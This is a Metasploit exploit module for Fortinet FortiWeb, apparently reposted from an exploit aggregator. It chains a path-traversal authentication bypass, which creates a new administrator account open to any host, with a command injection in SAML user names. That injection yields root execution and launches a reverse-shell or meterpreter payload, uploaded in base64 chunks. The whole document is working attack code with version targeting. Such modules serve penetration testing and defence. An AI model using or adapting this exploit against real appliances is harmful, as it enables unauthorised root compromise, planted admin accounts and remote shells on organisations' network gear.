Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-FORTINET_FORTIWEB_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiWeb unauthenticated RCE',
        'Description' => %q{
          This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
          FortiWeb management interface to create a new local administrator user account. From there a command
          injection vulnerability is leveraged to achieve RCE with root privileges.

          The auth bypass CVE-2025-64446 affects the following versions:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
          * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
          slightly different when compared to the patch versions for CVE-2025-64446:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
          * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          Note: Unsupported versions 6.* are also affected.

          This exploit module has been confirmed to work against 8.0.1, 7.4.8, 6.4.3, and 6.3.9.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Defused', # PoC from honeypot for CVE-2025-64446
          'sfewer-r7', # MSF module and CVE-2025-58034 analysis
        ],
        'References' => [
          ['CVE', '2025-64446'],
          ['EDB', '52495'],
          ['EDB', '52502'], # Auth bypass
          ['CVE', '2025-58034'], # Command Injection
          ['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
          ['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
          ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
          ['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
          ['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
        ],
        # CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
        # Both vulnerabilities were silently patched by the vendor prior to this date.
        'DisclosureDate' => '2025-11-14',
        'Privileged' => true, # Executes as root.
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1:
            #   cmd/unix/reverse_bash
            #   cmd/unix/reverse_openssl
            'FortiWeb 8.x', {
              'SupportedMajorVersions' => [8],
              # Only some of the Unix payloads have been verified to work, the Linux fetch payloads don't execute
              # due to the Linux Integrity Measurement Architecture (IMA) appraisal feature being enabled.
              'Platform' => 'unix',
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 7.4.8, 6.3.9 and 6.4.3:
            #   cmd/unix/reverse_bash
            #   cmd/linux/http/x64/meterpreter_reverse_tcp
            'FortiWeb 7.x and 6.x', {
              'SupportedMajorVersions' => [7, 6],
              'Platform' => ['unix', 'linux'],
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options(
      [
        OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
        OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
        OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
        OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
      ]
    )
  end

  def check
    res = post_auth_bypass_request({ data: {} })

    return CheckCode::Unknown('Connection failed') unless res

    return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

    j = JSON.parse(res.body)

    # Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9
    return Exploit::CheckCode::Appears('The target appears to be vulnerable') if j.dig('results', 'errcode') == -56

    CheckCode::Unknown('Unexpected JSON results')
  rescue JSON::ParserError
    return CheckCode::Unknown('Failed to parse JSON body')
  end

  def exploit
    if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
      print_status('Creating a new admin account via CVE-2025-64446...')

      admin_username = Faker::Internet.username
      admin_password = Rex::Text.rand_text_alpha(8)

      create_admin_account(admin_username, admin_password)

      print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
    else
      admin_username = datastore['FortiWebAdminUsername']
      admin_password = datastore['FortiWebAdminPassword']

      print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
    end

    print_status('Logging in...')

    cookie_jar.clear

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logincheck'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => admin_username,
        'secretkey' => admin_password
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
    end

    print_good("Successfully logged in as #{admin_username}")

    # Exploiting the command injection requires leveraging the CLI. Depending on the target FortiWeb major
    # version (6, 7, or 8), how we access the CLI differs. To account for this we pull the target system version
    # information here, and use it to verify the Metasploit target supports this major version, and the CLI technique
    # we use is correct for the major version being targeted.
    system_state = get_system_state

    print_good("Detected target version: #{system_state[:major_version]}.#{system_state[:minor_version]}.#{system_state[:patch_version]}")

    fail_with(Msf::Exploit::Failure::BadConfig, "The chosen exploit target only supports #{target['SupportedMajorVersions'].join(',')}. Set a different target.") unless target['SupportedMajorVersions'].include?(system_state[:major_version])

    begin
      print_status('Executing payload via CVE-2025-58034...')

      execute_payload(system_state)
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
    end

    print_good('Finished.')
  end

  def execute_payload(system_state)
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"

    # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
    # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
    # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
    # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
    # start_new_session to do essentially what nohup does - call setsid() to create a new session.
    # When targeting FortiWeb 6.x Python 2 is available, so start_new_session is not available. Instead, we use
    # preexec_fn=os.setsid to get the same result.

    if system_state[:major_version] == 6
      # This has been confirmed to work as expected on 6.3.9 ands 6.4.3.
      bootstrap_payload += "python -c \"import subprocess,os;subprocess.Popen(\\\"#{payload.encoded}\\\",shell=True,preexec_fn=os.setsid)\""
    else
      # This has been confirmed to work as expected on 8.0.1 and 7.4.8.
      bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
    end

    vprint_status("Using bootstrap payload: #{bootstrap_payload}")

    bootstrap_payload = Base64.strict_encode64(bootstrap_payload)

    idx = 1
    idx_prefix = ''

    # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
    # 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
    # value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
    # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
    # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
    # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
    # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
    # we must recompute the chunk size, to ensure we don't go over the 63-character limit.
    chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

    # We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
    # instead do "echo foo|tee file").

    # We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
    # them, and therefore white spaces are also an issue.

    # We display the progress to the user, so track that with a current and max chunk number.
    curr_chunk_number = 1

    max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

    while bootstrap_payload && !bootstrap_payload.empty?

      print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

      chunk = bootstrap_payload[0, chunk_size]

      bootstrap_payload = bootstrap_payload[chunk_size..]

      execute_cmd(system_state, "echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")

      idx += 1

      if idx > 9
        idx = 1
        idx_prefix += '9'
        # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
        # next chunk must have 1 less character.
        chunk_size -= 1
        # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
        # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
        # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
        # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
        # would be a max MSF payload size of 5670 characters. Calculated with the command:
        # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
        fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
      end

      curr_chunk_number += 1
    end

    print_status('Amalgamating bootstrap payload chunks...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")

    print_status('Executing bootstrap payload...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
  end

  def execute_cmd(system_state, cmd)
    vprint_status("Executing OS command: #{cmd}")

    # These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
    # We also look for backticks, which are allowed, but we use two of them below to get command execution so we
    # don't want the incoming cmd to contain any as that would break our injection.
    '`#()>\'"'.each_char do |bad_char|
      fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
    end

    # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
    fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)

    case system_state[:major_version]
    when 6
      execute_cmd_v6(system_state, cmd)
    when 7, 8
      execute_cmd_v7_v8(cmd)
    else
      fail_with(Failure::NoTarget, "Major version not supported: #{system_state[:major_version]}")
    end
  end

  def execute_cmd_v6(system_state, cmd)
    vprint_status('Connecting to the HTTP CLI console...')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'connect',
        'session_id' => system_state[:csrf_token]
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    console_session_id = res.body.match(/(\d+):Connected/i)[1]&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get HTTP CLI console session ID') unless console_session_id

    vprint_status("HTTP CLI console session ID: #{console_session_id}")

    gen_cli_commands(cmd).each do |cli_command|
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
        'keep_cookies' => true,
        'vars_post' => {
          'act' => 'xmit',
          'sid' => console_session_id,
          'session_id' => system_state[:csrf_token],
          'cmd' => cli_command + "\n"
        }
      )

      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    end

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'disconnect',
        'sid' => console_session_id,
        'session_id' => system_state[:csrf_token]
      }
    )
  end

  def execute_cmd_v7_v8(cmd)
    vprint_status('Connecting to the CLI websocket...')

    wsock_headers = {
      'Cookie' => ''
    }

    cookie_jar.cookies.each do |c|
      wsock_headers['Cookie'] += "#{c}; "
    end

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
      'headers' => wsock_headers
    )

    vprint_good('Successfully connected to the CLI websocket')

    cli_commands = gen_cli_commands(cmd)

    wsock.wsloop do |buffer, _|
      vprint_line(buffer)

      if buffer.end_with? ' # '
        cli_command = cli_commands.shift

        break if cli_command.nil?

        vprint_status("Running CLI command: #{cli_command}")

        wsock.put_wsbinary("#{cli_command}\n")

        break if cli_commands.empty?
      end
    end
  end

  def gen_cli_commands(cmd)
    [
      'config user saml-user',
      "edit \"`#{cmd}`\"",
      "set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
      "set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set enforce-signing disable',
      'set slo-bind post',
      "set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set sso-bind post',
      "set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'end'
    ]
  end

  def get_system_state
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v2.0', 'system', 'state'),
      'keep_cookies' => true
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    j = JSON.parse(res.body)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected system state status: #{j['status']}") if j['status'] != 'success'

    # NOTE: The returned JSON has an expected typo 'resutls' which we have to account for.

    major_version = j.dig('resutls', 'config', 'CONFIG_MAJOR_NUM')&.to_i
    major_version ||= j.dig('results', 'config', 'CONFIG_MAJOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MAJOR_NUM') unless major_version

    minor_version = j.dig('resutls', 'config', 'CONFIG_MINOR_NUM')&.to_i
    minor_version ||= j.dig('results', 'config', 'CONFIG_MINOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MINOR_NUM') unless minor_version

    patch_version = j.dig('resutls', 'config', 'CONFIG_PATCH_NUM')&.to_i
    patch_version ||= j.dig('results', 'config', 'CONFIG_PATCH_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_PATCH_NUM') unless patch_version

    csrf_token = j.dig('resutls', 'admin', 'csrf_token')&.to_i
    csrf_token ||= j.dig('results', 'admin', 'csrf_token')&.to_i

    { major_version: major_version, minor_version: minor_version, patch_version: patch_version, csrf_token: csrf_token }
  rescue JSON::ParserError
    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body')
  end

  # The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
  # be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
  # accept lower case, so we force "websocket" to be used instead.
  def connect(opts = {})
    if opts.dig('headers', 'Upgrade') == 'WebSocket'
      opts['headers']['Upgrade'].downcase!
    end
    super
  end

  # Create a new local admin account via CVE-2025-64446.
  def create_admin_account(admin_username, admin_password)
    request_data = {
      data: {
        'q_type' => 1,
        'name' => admin_username,
        'access-profile' => datastore['FortiWebAccessProfile'],
        'access-profile_val' => '0',
        'trusthostv4' => '0.0.0.0/0',
        'trusthostv6' => '::/0',
        'last-name' => '',
        'first-name' => '',
        'email-address' => '',
        'phone-number' => '',
        'mobile-number' => '',
        'hidden' => 0,
        'domains' => datastore['FortiWebDomain'],
        'sz_dashboard' => -1,
        'type' => 'local-user',
        'type_val' => '0',
        'admin-usergrp_val' => '0',
        'wildcard_val' => '0',
        'accprofile-override_val' => '0',
        'sshkey' => '',
        'passwd-set-time' => 0,
        'history-password-pos' => 0,
        'history-password0' => '',
        'history-password1' => '',
        'history-password2' => '',
        'history-password3' => '',
        'history-password4' => '',
        'history-password5' => '',
        'history-password6' => '',
        'history-password7' => '',
        'history-password8' => '',
        'history-password9' => '',
        'force-password-change' => 'disable',
        'force-password-change_val' => '0',
        'password' => admin_password
      }
    }

    res = post_auth_bypass_request(request_data)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403

    unless res.code == 200
      if res.headers['Content-Type'] == 'application/json'
        begin
          response_data = JSON.parse(res.body)
          print_bad(response_data.to_s)
        rescue JSON::ParserError
          print_bad('failed to parse response JSON data')
        end
      end
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
    end
  end

  def post_auth_bypass_request(request_data)
    cgi_info = {
      'username' => datastore['FortiWebDefaultAdminAccount'],
      'profname' => datastore['FortiWebAccessProfile'],
      'vdom' => datastore['FortiWebDomain'],
      'loginname' => datastore['FortiWebDefaultAdminAccount']
    }

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
      'headers' => {
        'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
      },
      'ctype' => 'application/json',
      'data' => request_data.to_json
    )
  end
end